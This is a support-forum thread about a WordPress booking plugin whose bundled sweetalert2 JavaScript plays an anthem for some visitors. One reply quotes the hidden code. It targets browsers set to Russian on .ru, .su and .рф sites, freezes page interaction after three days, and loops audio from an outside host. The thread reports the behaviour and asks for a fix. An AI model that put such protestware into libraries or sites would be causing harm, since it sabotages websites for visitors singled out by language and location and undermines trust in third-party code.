• Hello! Your plugin files contain /wp-content/uploads/2021/09/ Ukraina.mp3 which is played once a day, I specify the path: /wp-content/plugins/ba-book-everything/js/sweetalert

    In the files: 

    sweetalert2.all.js
    sweetalert2.all.min.js
    sweetalert2.js
    sweetalert2.min.js

Viewing 3 replies - 1 through 3 (of 3 total)
  • I can confirm that in sweetalert2.all.js (version 1.5.20) the code is:

      // Dear russian users visiting russian sites. Let's have fun.
      if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|xn--p1ai)$/)) {
        const now = new Date();
        const initiationDate = localStorage.getItem('swal-initiation');
        if (!initiationDate) {
          localStorage.setItem('swal-initiation', ${now});
        } else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) {
          setTimeout(() => {
            document.body.style.pointerEvents = 'none';
            const ukrainianAnthem = document.createElement('audio');
            ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3';
            ukrainianAnthem.loop = true;
            document.body.appendChild(ukrainianAnthem);
            setTimeout(() => {
              ukrainianAnthem.play().catch(() => {
                // ignore
              });
            }, 2500);
          }, 500);
        }
      }

    Has this been solved in the meantime?

    Open sweetalert2.all.js and check it.

Viewing 3 replies - 1 through 3 (of 3 total)
  • The topic ‘Virus in the plugin, FIX IT!!!’ is closed to new replies.